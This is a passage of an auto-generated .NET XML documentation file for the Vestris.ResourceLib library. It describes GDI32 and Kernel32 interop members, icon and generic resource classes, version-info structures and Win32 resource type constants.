name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_RGB_COLORS\">\n            <summary>\n            The color table contains literal RGB values.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_COLORS\">\n            <summary>\n            The color table consists of an array of 16-bit indexes into the LogPalette \n            object that is currently defined in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_INDICES\">\n            <summary>\n            No color table exists. The pixels in the DIB are indices into the current logical \n            palette in the playback device context.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Gdi32.DIBColors.DIB_PAL_LOGINDICES\">\n            <summary>\n            \n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleDC(System.IntPtr)\">\n            <summary>\n            Creates a memory device context (DC) compatible with the specified device.\n            </summary>\n            <param name=\"hdc\">Handle to an existing device context.</param>\n            <returns>\n            The handle to a memory device context indicates success.\n            NULL indicates failure.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateDC(System.String,System.String,System.String,System.IntPtr)\">\n            <summary>\n            \n            </summary>\n            <param name=\"lpDriverName\">Specifies either DISPLAY or the name of a specific display device or the name of a print provider, which is usually WINSPOOL.</param>\n            <param name=\"lpDeviceName\">Specifies the name of the specific output device being used, as shown by the Print Manager (for example, Epson FX-80).</param>\n            <param name=\"lpOutput\">This parameter is ignored and should be set to NULL. It is provided only for compatibility with 16-bit Windows.</param>\n            <param name=\"lpInitData\">A pointer to a DEVMODE structure containing device-specific initialization data for the device driver.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.CreateCompatibleBitmap(System.IntPtr,System.Int32,System.Int32)\">\n            <summary>\n            Creates a bitmap compatible with the device that is associated with the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to a device context.</param>\n            <param name=\"nWidth\">The bitmap width, in pixels.</param>\n            <param name=\"nHeight\">The bitmap height, in pixels.</param>\n            <returns>\n            If the function succeeds, the return value is a handle to the compatible bitmap (DDB).\n            If the function fails, the return value is NULL.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.SelectObject(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Selects an object into a specified device context. The new object replaces the previous object of the same type. \n            </summary>\n            <param name=\"hdc\">Handle to the device context.</param>\n            <param name=\"hgdiobj\">Handle to the object to be selected.</param>\n            <returns>\n            If the selected object is not a region, the handle of the object being replaced indicates success. \n            If the selected object is a region, one of the following values indicates success. \n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteObject(System.IntPtr)\">\n            <summary>\n            Deletes a logical pen, brush, font, bitmap, region, or palette, freeing all system resources associated with the object. \n            </summary>\n            <param name=\"hObject\">Handle to a logical pen, brush, font, bitmap, region, or palette.</param>\n            <returns>\n            Nonzero indicates success. \n            Zero indicates that the specified handle is not valid or that the handle is currently selected into a device context.\n            </returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Gdi32.DeleteDC(System.IntPtr)\">\n            <summary>\n            Deletes the specified device context.\n            </summary>\n            <param name=\"hdc\">A handle to the device context.</param>\n            <returns>\n            If the function succeeds, the return value is nonzero.\n            If the function fails, the return value is zero.\n            </returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.GenericResource\">\n            <summary>\n            A generic resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.GenericResource._data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.GenericResource.Data\">\n            <summary>\n            Raw resource data.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An unstructured generic resource embedded in an executable module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource handle.</param>\n            <param name=\"type\">Type of resource.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language id.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.#ctor(Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            A generic resource.\n            </summary>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a generic resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to the beginning of a resource.</param>\n            <returns>Pointer to the end of the resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.GenericResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write the resource to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconDirectoryResource\">\n            <summary>\n            This structure depicts the organization of data in a hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            A hardware-independent icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor\">\n            <summary>\n            A new hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconDirectoryResource.#ctor(Vestris.ResourceLib.IconFile)\">\n            <summary>\n            A new collection of icons that can be embedded into an executable file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile\">\n            <summary>\n            This structure depicts the organization of data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFile.GroupType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Icon\">\n            <summary>\n            Icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconFile.GroupType.Cursor\">\n            <summary>\n            Cursor.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Type\">\n            <summary>\n            Type of the group icon resource.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFile.Icons\">\n            <summary>\n            Collection of icons in an .ico file.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.#ctor(System.String)\">\n            <summary>\n            An existing .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.LoadFrom(System.String)\">\n            <summary>\n            Load from a .ico file.\n            </summary>\n            <param name=\"filename\">An existing icon (.ico) file.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFile.Read(System.IntPtr)\">\n            <summary>\n            Read icons.\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of a FILEGRPICONDIR structure.</param>\n            <returns>Pointer to the end of a FILEGRPICONDIR structure.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconFileIcon\">\n            <summary>\n            This structure depicts the organization of icon data in a .ico file.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Header\">\n            <summary>\n            Icon header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Image\">\n            <summary>\n            Icon bitmap.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.#ctor\">\n            <summary>\n            New icon data.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Width\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.Height\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconFileIcon.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read a single icon (.ico).\n            </summary>\n            <param name=\"lpData\">Pointer to the beginning of this icon's data.</param>\n            <param name=\"lpAllData\">Pointer to the beginning of all icon data.</param>\n            <returns>Pointer to the end of this icon's data.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconFileIcon.ToString\">\n            <summary>\n            Icon size as a string.\n            </summary>\n            <returns>Icon size in the width x height format.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconImageResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._header\">\n            <summary>\n            Directory header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.IconImageResource._image\">\n            <summary>\n            Actual image.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Header\">\n            <summary>\n            Hardware-independent icon directory header.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Id\">\n            <summary>\n            Embedded icon Id.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Image\">\n            <summary>\n            An icon image.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.ResourceId)\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Create a new icon image resource from a file icon.\n            </summary>\n            <param name=\"icon\">File icon.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource id.</param>\n            <param name=\"language\">Resource language.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Width\">\n            <summary>\n            Icon width in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.Height\">\n            <summary>\n            Icon height in pixels.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.ImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Read(System.IntPtr,System.IntPtr)\">\n            <summary>\n            Read an icon resource from a previously loaded module.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"lpRes\">Pointer to a directory entry in the hardware-independent icon resource.</param>\n            <returns>Pointer to the end of the icon resource.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ReadImage(System.IntPtr,System.UInt32)\">\n            <summary>\n            Read the bitmap image.\n            </summary>\n            <param name=\"dibBits\">DIB bits.</param>\n            <param name=\"size\">Size of image.</param>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormat\">\n            <summary>\n            Icon pixel format.\n            </summary>\n        </member>\n        <member name=\"P:Vestris.ResourceLib.IconImageResource.PixelFormatString\">\n            <summary>\n            Icon pixel format English standard string.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.ToString\">\n            <summary>\n            String representation of the icon.\n            </summary>\n            <returns>A string in a format of width x height followed by the pixel format.</returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.Write(System.IO.BinaryWriter)\">\n            <summary>\n            Write icon resource data to a binary stream.\n            </summary>\n            <param name=\"w\">Binary stream.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconImageResource.SaveIconTo(System.String)\">\n            <summary>\n            Save icon to a file.\n            </summary>\n            <param name=\"filename\">Target executable file.</param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.IconResource\">\n            <summary>\n            This structure depicts the organization of data in an icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(System.IntPtr,System.IntPtr,Vestris.ResourceLib.ResourceId,Vestris.ResourceLib.ResourceId,System.UInt16,System.Int32)\">\n            <summary>\n            An existing icon resource.\n            </summary>\n            <param name=\"hModule\">Module handle.</param>\n            <param name=\"hResource\">Resource ID.</param>\n            <param name=\"type\">Resource type.</param>\n            <param name=\"name\">Resource name.</param>\n            <param name=\"language\">Language ID.</param>\n            <param name=\"size\">Resource size.</param>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor\">\n            <summary>\n            A new icon resource.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.IconResource.#ctor(Vestris.ResourceLib.IconFileIcon,Vestris.ResourceLib.ResourceId,System.UInt16)\">\n            <summary>\n            Convert into an icon resource that can be written into an executable.\n            </summary>\n            <param name=\"icon\">Icon image.</param>\n            <param name=\"id\">Icon Id.</param>\n            <param name=\"language\">Resource language.</param>\n            <returns>An icon resource.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32\">\n            <summary>\n            Kernel32.dll interop functions.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER\">\n            <summary>\n            A resource header.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wLength\">\n            <summary>\n            Header length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wValueLength\">\n            <summary>\n            Data length.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.wType\">\n            <summary>\n            Resource type.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER.#ctor(System.UInt16)\">\n            <summary>\n            A new resource header of a given length.\n            </summary>\n            <param name=\"valueLength\"></param>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE\">\n            <summary>\n            Resource header type.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.BinaryData\">\n            <summary>\n            Binary data.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.RESOURCE_HEADER_TYPE.StringData\">\n            <summary>\n            String data.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VAR_HEADER\">\n            <summary>\n            Language and code page combinations.\n            The low-order word of each DWORD must contain a Microsoft language identifier, \n            and the high-order word must contain the IBM code page number. \n            Either high-order or low-order word can be zero, indicating that the file is language \n            or code page independent.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wLanguageIDMS\">\n            <summary>\n            Microsoft language identifier.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VAR_HEADER.wCodePageIBM\">\n            <summary>\n            IBM code page number.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO\">\n            <summary>\n            This structure contains version information about a file. \n            This information is language- and code page–independent.\n            http://msdn.microsoft.com/en-us/library/ms647001.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwSignature\">\n            <summary>\n            Contains the value 0xFEEF04BD. This is used with the szKey member of the VS_VERSIONINFO structure when searching a file for the VS_FIXEDFILEINFO structure. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwStrucVersion\">\n            <summary>\n            Specifies the binary version number of this structure. The high-order word of this member contains the major version number, and the low-order word contains the minor version number.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's binary version number. This member is used with dwFileVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's binary version number. This member is used with dwFileVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionMS\">\n            <summary>\n            Specifies the most significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionLS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwProductVersionLS\">\n            <summary>\n            Specifies the least significant 32 bits of the binary version number of the product with which this file was distributed. This member is used with dwProductVersionMS to form a 64-bit value used for numeric comparisons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlagsMask\">\n            <summary>\n            Contains a bitmask that specifies the valid bits in dwFileFlags. A bit is valid only if it was defined when the file was created. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileFlags\">\n            <summary>\n            Contains a bitmask that specifies the Boolean attributes of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileOS\">\n            <summary>\n            Specifies the operating system for which this file was designed.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileType\">\n            <summary>\n            Specifies the general type of file. \n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileSubtype\">\n            <summary>\n            Specifies the function of the file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateMS\">\n            <summary>\n            Specifies the most significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.dwFileDateLS\">\n            <summary>\n            Specifies the least significant 32 bits of the file's 64-bit binary creation date and time stamp.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.VS_FIXEDFILEINFO.GetWindowsDefault\">\n            <summary>\n            Creates a default Windows VS_FIXEDFILEINFO structure.\n            </summary>\n            <returns>A default Windows VS_FIXEDFILEINFO.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIR\">\n            <summary>\n            A hardware-independent icon directory resource header.\n            http://msdn.microsoft.com/en-us/library/ms997538.aspx\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wType\">\n            <summary>\n            Resource type, 1 for icons.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIR.wImageCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry.\n            See http://msdn.microsoft.com/en-us/library/ms997538.aspx for more information.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bWidth\">\n            <summary>\n            Width of the image. Starting with Windows 95 a value of 0 represents width of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bHeight\">\n            <summary>\n            Height of the image. Starting with Windows 95 a value of 0 represents height of 256.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bColors\">\n            <summary>\n            Number of colors in the image. \n            bColors = 1 &lt;&lt; (wBitsPerPixel * wPlanes)\n            If wBitsPerPixel* wPlanes is greater orequal to 8, then bColors = 0.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel.\n            1: monochrome bitmap\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.GRPICONDIRENTRY.nID\">\n            <summary>\n            Icon ID.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY\">\n            <summary>\n            Hardware-independent icon directory entry in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bWidth\">\n            <summary>\n            Icon width.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bHeight\">\n            <summary>\n            Icon height.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bColors\">\n            <summary>\n            Colors; 0 means 256 or more.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.bReserved\">\n            <summary>\n            Reserved.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wPlanes\">\n            <summary>\n            Number of bitmap planes for icons.\n            Horizontal hotspot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.wBitsPerPixel\">\n            <summary>\n            Bits per pixel for icons.\n            Vertical hostpot for cursors.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwImageSize\">\n            <summary>\n            Image size in bytes.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIRENTRY.dwFileOffset\">\n            <summary>\n            Offset of bitmap data from the beginning of the file.\n            </summary>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR\">\n            <summary>\n            Hardware-independent icon structure in an .ico file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wReserved\">\n            <summary>\n            Reserved, must be zero.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wType\">\n            <summary>\n            Resource Type (1 for icons).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.FILEGRPICONDIR.wCount\">\n            <summary>\n            Number of images.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_LIBRARY_AS_DATAFILE\">\n            <summary>\n            If this value is used, the system maps the file into the calling process's virtual address space as if it were a data file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.DONT_RESOLVE_DLL_REFERENCES\">\n            <summary>\n            If this value is used, and the executable module is a DLL, the system does not call DllMain for process and thread initialization and termination.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_WITH_ALTERED_SEARCH_PATH\">\n            <summary>\n            If this value is used and lpFileName specifies an absolute path, the system uses the alternate file search strategy.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.LOAD_IGNORE_CODE_AUTHZ_LEVEL\">\n            <summary>\n            If this value is used, the system does not perform automatic trust comparisons on the DLL or its dependents when they are loaded.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.LoadLibraryEx(System.String,System.IntPtr,System.UInt32)\">\n            <summary>\n            Loads the specified module into the address space of the calling process. \n            The specified module may cause other modules to be loaded.\n            </summary>\n            <param name=\"lpFileName\">The name of the module.</param>\n            <param name=\"hFile\">This parameter is reserved for future use.</param>\n            <param name=\"dwFlags\">The action to be taken when loading the module.</param>\n            <returns></returns>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.FreeLibrary(System.IntPtr)\">\n            <summary>\n            Frees the loaded dynamic-link library (DLL) module and, if necessary, decrements its reference count.\n            </summary>\n            <param name=\"hModule\">A handle to the loaded library module.</param>\n            <returns>If the function succeeds, the return value is nonzero.</returns>\n        </member>\n        <member name=\"T:Vestris.ResourceLib.Kernel32.ResourceTypes\">\n            <summary>\n            Predefined resource types.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_CURSOR\">\n            <summary>\n            Hardware-dependent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_BITMAP\">\n            <summary>\n            Bitmap resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ICON\">\n            <summary>\n            Hardware-dependent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MENU\">\n            <summary>\n            Menu resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DIALOG\">\n            <summary>\n            Dialog box.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_STRING\">\n            <summary>\n            String-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONTDIR\">\n            <summary>\n            Font directory resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_FONT\">\n            <summary>\n            Font resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ACCELERATOR\">\n            <summary>\n            Accelerator table.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_RCDATA\">\n            <summary>\n            Application-defined resource (raw data).\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MESSAGETABLE\">\n            <summary>\n            Message-table entry.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_CURSOR\">\n            <summary>\n            Hardware-independent cursor resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_GROUP_ICON\">\n            <summary>\n            Hardware-independent icon resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VERSION\">\n            <summary>\n            Version resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_DLGINCLUDE\">\n            <summary>\n            Allows a resource editing tool to associate a string with an .rc file.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_PLUGPLAY\">\n            <summary>\n            Plug and Play resource.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_VXD\">\n            <summary>\n            VXD.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANICURSOR\">\n            <summary>\n            Animated cursor.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_ANIICON\">\n            <summary>\n            Animated icon.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_HTML\">\n            <summary>\n            HTML.\n            </summary>\n        </member>\n        <member name=\"F:Vestris.ResourceLib.Kernel32.ResourceTypes.RT_MANIFEST\">\n            <summary>\n            Microsoft Windows XP: Side-by-Side Assembly XML Manifest.\n            </summary>\n        </member>\n        <member name=\"M:Vestris.ResourceLib.Kernel32.EnumResourceTypes(System.IntPtr,Vestris.ResourceLib.Kernel32.EnumResourceTypesDelegate,System.IntPtr)\">\n            <summary>\n            Enumerates resource types within a binary module.\n            </summary>\n            <param name=\"hModule\">Handle to a module to search.</param>\n            <param name=\"lpEnumFunc\">Pointer to the callback function to be called for each enumerated resource type.</param>\n            <param name=\"lParam\">Specifies an application-defined value passed to the callback function.</param>\n            